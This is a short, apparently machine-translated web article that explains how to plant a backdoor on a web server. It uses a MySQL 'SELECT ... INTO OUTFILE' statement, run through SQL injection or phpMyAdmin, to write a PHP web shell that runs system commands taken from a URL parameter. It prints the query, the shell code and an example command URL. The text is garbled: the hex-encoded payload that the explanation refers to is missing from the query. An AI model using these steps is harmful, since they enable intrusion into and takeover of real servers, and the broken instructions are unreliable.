How to use MySQL statements to generate Backdoor trojans

Source: Internet
Author: User
Tags mysql injection

The following article describes how to generate a backdoor Trojan using a MySQL statement, in fact, it is very simple to use MySQL statements to generate Backdoor trojans, as long as you have mastered the actual operating procedures.

How to generate a backdoor Trojan using MySQL statements!

SELECT * FROM 'vbb _ strikes 'WHERE 1 union select 2,3, distinct from vbb_strikes into outfile 'C:/inetpub/wwwroot/cmd. php'

After MySQL injection or running the preceding MySQL statement in phpmyadmin, The cmd. php file is generated under C:/inetpub/wwwroot/, with the content of the original vbb_strikes followed:

2 3 <? Php system ($ _ REQUEST [cmd]);?>

Again Through http://www.xxx.com/cmd.php? Cmd = dir c: \ to execute the system doscommand!

Which sort is what?

It is a hexadecimal encoding. If this method is not used, other encodings may appear in different SQL versions, such as % xx. Which backdoor cannot be executed! If you have other language names, you can enter them in UltraEdit and press the [Ctrl + H] key to connect the hex in it!

The above content describes how to generate a backdoor Trojan using MySQL statements. I hope it will help you in this regard.

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